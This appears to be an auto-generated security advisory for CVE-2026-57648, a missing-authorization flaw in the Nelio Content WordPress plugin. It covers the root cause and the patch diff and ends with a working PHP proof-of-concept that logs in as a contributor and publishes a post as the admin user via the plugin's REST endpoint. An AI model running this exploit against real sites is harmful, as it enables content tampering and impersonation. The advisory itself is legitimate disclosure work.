Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 5, 2026

CVE-2026-57648: Nelio Content – Editorial Calendar & Social Media Auto-Posting <= 4.3.4 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-57648
Plugin nelio-content
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.3.4
Patched Version 4.3.5
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57648:

This vulnerability is a missing authorization issue in the Nelio Content plugin for WordPress, versions up to and including 4.3.4. It allows authenticated attackers with contributor-level access or higher to perform unauthorized actions, such as creating or updating posts with restricted statuses or authors. The CVSS score is 4.3, reflecting a moderate severity due to the need for authentication and the limited scope of the unauthorized actions.

Root cause: The vulnerability stems from missing capability checks in the REST API controller, specifically in the `Nelio_Content_Post_REST_Controller` class found in `nelio-content/includes/rest/class-nelio-content-post-rest-controller.php`. The vulnerable `create_item_permissions_check` (line 439) and `update_item_permissions_check` (line 515) methods only checked the `create_posts` or `edit_posts`/`edit_published_posts` capabilities, respectively. They did not verify whether the user could assign a different author via the `authorId` parameter or set a post status like `publish`, `private`, or `future` via the `status` parameter. This allowed contributor-level users, who normally cannot publish or edit others’ posts, to perform such actions through the REST API.

Exploitation: An authenticated attacker with contributor-level access can exploit this by sending crafted REST API requests. For creating a post, the attacker would send a POST request to `/wp-json/nelio-content/v1/post` with a JSON body containing a `type` (post type), `authorId` (any user ID, such as an admin), and `status` (e.g., ‘publish’). For updating an existing post, the attacker would send a PUT request to `/wp-json/nelio-content/v1/post/{id}` with similar parameters. The plugin’s REST endpoint processes these without checking if the user has the `edit_others_posts` or `publish_posts` capabilities.

Patch analysis: The patch adds three new private methods: `get_valid_post_type_object`, `can_current_user_assign_author`, and `can_current_user_set_post_status`. In the `create_item_permissions_check` and `update_item_permissions_check` methods, the patch now includes calls to `can_current_user_assign_author` and `can_current_user_set_post_status` after verifying the basic capability (e.g., `create_posts` or `edit_post`). These new methods check if the user can assign a different author (requires `edit_others_posts` capability) or set a post to ‘publish’, ‘private’, or ‘future’ (requires `publish_posts` capability). Additionally, the `create_item` (line 729) and `update_item` (line 851) methods now perform these checks before processing the request, returning appropriate `WP_Error` objects if the user lacks authorization.

Impact: Exploitation allows an authenticated contributor-level attacker to create or edit posts as any user (including administrators), and to publish posts directly or set them as private or scheduled. This can lead to privilege escalation, content manipulation, and potential reputational damage. The attacker cannot achieve full admin-level access but can bypass intended content workflow restrictions, potentially publishing malicious content under an admin’s name.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/nelio-content/includes/rest/class-nelio-content-post-rest-controller.php
+++ b/nelio-content/includes/rest/class-nelio-content-post-rest-controller.php
@@ -439,11 +439,21 @@
 			return true;
 		}

-		$post_type  = $request['type'] ?? '';
-		$post_type  = is_string( $post_type ) ? $post_type : '';
-		$post_type  = get_post_type_object( $post_type );
-		$capability = ! empty( $post_type ) ? $post_type->cap->create_posts : null;
-		return is_string( $capability ) && current_user_can( $capability );
+		$post_type = $this->get_valid_post_type_object( $request['type'] ?? '' );
+		if ( empty( $post_type ) ) {
+			return false;
+		}
+
+		$capability = $post_type->cap->create_posts;
+		if ( ! is_string( $capability ) || ! current_user_can( $capability ) ) {
+			return false;
+		}
+
+		if ( ! $this->can_current_user_assign_author( $post_type, absint( $request['authorId'] ?? 0 ) ) ) {
+			return false;
+		}
+
+		return $this->can_current_user_set_post_status( $post_type, $request['status'] ?? 'draft' );
 	}

 	/**
@@ -515,10 +525,82 @@
 			return false;
 		}

-		$capability = in_array( get_post_status( $post_id ), array( 'publish', 'future' ), true )
-			? $post_type->cap->edit_published_posts
-			: $post_type->cap->edit_posts;
-		return is_string( $capability ) && current_user_can( $capability, $post_id );
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			return false;
+		}
+
+		if ( ! $this->can_current_user_assign_author( $post_type, absint( $request['authorId'] ?? 0 ) ) ) {
+			return false;
+		}
+
+		if ( ! $request->has_param( 'status' ) ) {
+			return true;
+		}
+
+		return $this->can_current_user_set_post_status( $post_type, $request['status'] );
+	}
+
+	/**
+	 * Returns a valid managed post type object.
+	 *
+	 * @param mixed $post_type Post type.
+	 *
+	 * @return WP_Post_Type|null
+	 */
+	private function get_valid_post_type_object( $post_type ) {
+
+		$post_type = is_string( $post_type ) ? $post_type : '';
+		if ( ! $this->is_valid_post_type( $post_type ) ) {
+			return null;
+		}
+
+		$post_type = get_post_type_object( $post_type );
+		return ! empty( $post_type ) ? $post_type : null;
+	}
+
+	/**
+	 * Checks if current user can set the given author.
+	 *
+	 * @param WP_Post_Type $post_type Post type.
+	 * @param int          $author_id Author ID.
+	 *
+	 * @return bool
+	 */
+	private function can_current_user_assign_author( $post_type, $author_id ) {
+
+		if ( empty( $author_id ) ) {
+			return true;
+		}
+
+		if ( ! get_userdata( $author_id ) ) {
+			return false;
+		}
+
+		if ( get_current_user_id() === $author_id ) {
+			return true;
+		}
+
+		$capability = $post_type->cap->edit_others_posts;
+		return is_string( $capability ) && current_user_can( $capability );
+	}
+
+	/**
+	 * Checks if current user can set the given post status.
+	 *
+	 * @param WP_Post_Type $post_type Post type.
+	 * @param mixed        $status    Post status.
+	 *
+	 * @return bool
+	 */
+	private function can_current_user_set_post_status( $post_type, $status ) {
+
+		$status = is_string( $status ) ? $status : '';
+		if ( ! in_array( $status, array( 'private', 'publish', 'future' ), true ) ) {
+			return true;
+		}
+
+		$capability = $post_type->cap->publish_posts;
+		return is_string( $capability ) && current_user_can( $capability );
 	}

 	/**
@@ -729,6 +811,31 @@
 		/** @var string */
 		$type = $request->get_param( 'type' );

+		$post_type = $this->get_valid_post_type_object( $type );
+		if ( empty( $post_type ) ) {
+			return new WP_Error(
+				'invalid-post-type',
+				_x( 'Invalid post type.', 'text', 'nelio-content' ),
+				array( 'status' => 400 )
+			);
+		}
+
+		if ( ! $this->can_current_user_assign_author( $post_type, $author_id ) ) {
+			return new WP_Error(
+				'rest-cannot-edit-others',
+				_x( 'You’re not allowed to create posts as this user.', 'text', 'nelio-content' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( ! $this->can_current_user_set_post_status( $post_type, $status ) ) {
+			return new WP_Error(
+				'rest-cannot-publish',
+				_x( 'You’re not allowed to publish posts in this post type.', 'text', 'nelio-content' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
 		/**
 		 * Modifies the title that will be used in the given post.
 		 *
@@ -851,6 +958,39 @@
 			return $post;
 		}

+		$post_type = $this->get_valid_post_type_object( $post->post_type );
+		if ( empty( $post_type ) ) {
+			return new WP_Error(
+				'invalid-post-type',
+				_x( 'Invalid post type.', 'text', 'nelio-content' ),
+				array( 'status' => 400 )
+			);
+		}
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			return new WP_Error(
+				'rest-cannot-edit',
+				_x( 'You’re not allowed to edit this post.', 'text', 'nelio-content' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( ! $this->can_current_user_assign_author( $post_type, $author_id ) ) {
+			return new WP_Error(
+				'rest-cannot-edit-others',
+				_x( 'You’re not allowed to update posts as this user.', 'text', 'nelio-content' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( ! $this->can_current_user_set_post_status( $post_type, $status ) ) {
+			return new WP_Error(
+				'rest-cannot-publish',
+				_x( 'You’re not allowed to publish posts in this post type.', 'text', 'nelio-content' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
 		$post_data = array(
 			'ID'          => $post_id,
 			'post_title'  => $title,
--- a/nelio-content/nelio-content.php
+++ b/nelio-content/nelio-content.php
@@ -5,7 +5,7 @@
  * Plugin Name:       Nelio Content - Editorial Calendar & Social Media Auto-Posting
  * Plugin URI:        https://neliosoftware.com/content/
  * Description:       Auto-post, schedule, and share your posts on Twitter, Facebook, LinkedIn, Instagram, and other social networks. Save time with useful automations.
- * Version:           4.3.4
+ * Version:           4.3.5
  *
  * Author:            Nelio Software
  * Author URI:        https://neliosoftware.com
--- a/nelio-content/vendor/autoload.php
+++ b/nelio-content/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit75a102153fc3b71303ef8b301305221d::getLoader();
+return ComposerAutoloaderInit54a684b5151bbe6f9ff2989b3efc59ba::getLoader();
--- a/nelio-content/vendor/composer/autoload_real.php
+++ b/nelio-content/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit75a102153fc3b71303ef8b301305221d
+class ComposerAutoloaderInit54a684b5151bbe6f9ff2989b3efc59ba
 {
     private static $loader;

@@ -24,15 +24,15 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit75a102153fc3b71303ef8b301305221d', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit54a684b5151bbe6f9ff2989b3efc59ba', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInit75a102153fc3b71303ef8b301305221d', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit54a684b5151bbe6f9ff2989b3efc59ba', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInit75a102153fc3b71303ef8b301305221d::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInit54a684b5151bbe6f9ff2989b3efc59ba::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
--- a/nelio-content/vendor/composer/autoload_static.php
+++ b/nelio-content/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit75a102153fc3b71303ef8b301305221d
+class ComposerStaticInit54a684b5151bbe6f9ff2989b3efc59ba
 {
     public static $prefixesPsr0 = array (
         'I' =>
@@ -108,8 +108,8 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixesPsr0 = ComposerStaticInit75a102153fc3b71303ef8b301305221d::$prefixesPsr0;
-            $loader->classMap = ComposerStaticInit75a102153fc3b71303ef8b301305221d::$classMap;
+            $loader->prefixesPsr0 = ComposerStaticInit54a684b5151bbe6f9ff2989b3efc59ba::$prefixesPsr0;
+            $loader->classMap = ComposerStaticInit54a684b5151bbe6f9ff2989b3efc59ba::$classMap;

         }, null, ClassLoader::class);
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57648 - Nelio Content <= 4.3.4 Missing Authorization

/*
 * This PoC demonstrates how an authenticated contributor can create a post
 * as an admin user (authorId=1) with publish status via the Nelio Content REST API.
 * The vulnerability allows bypassing author and status capability checks.
 */

$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'contributor';         // WordPress username with contributor role
$password = 'contributor_password'; // Password for the contributor

// 1. Authenticate to get WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie_jar.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// 2. Extract WordPress nonce from admin page (required for REST API)
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_page = curl_exec($ch);

// Extract nonce from the page (simple regex; adjust if needed)
preg_match('/"wp_rest_nonce":"([^"]+)"/', $admin_page, $matches);
$wp_rest_nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($wp_rest_nonce)) {
    // Try another pattern
    preg_match('/var wpApiSettings = {[^}]*"nonce":"([^"]+)"/', $admin_page, $matches);
    $wp_rest_nonce = isset($matches[1]) ? $matches[1] : '';
}

if (empty($wp_rest_nonce)) {
    die('Failed to retrieve WordPress REST nonce.n');
}

echo "[+] WordPress REST nonce: $wp_rest_noncen";

// 3. Create a post as admin user with publish status via Nelio Content REST API
$rest_url = $target_url . '/wp-json/nelio-content/v1/post';
$post_data = array(
    'type' => 'post',        // Post type
    'authorId' => 1,         // Admin user ID (target)
    'status' => 'publish',   // Attempt to publish directly
    'title' => 'PoC - Unauthorized Post',
    'content' => 'This post was created by a contributor exploiting CVE-2026-57648.',
);

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $wp_rest_nonce,
);

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";

curl_close($ch);
?>

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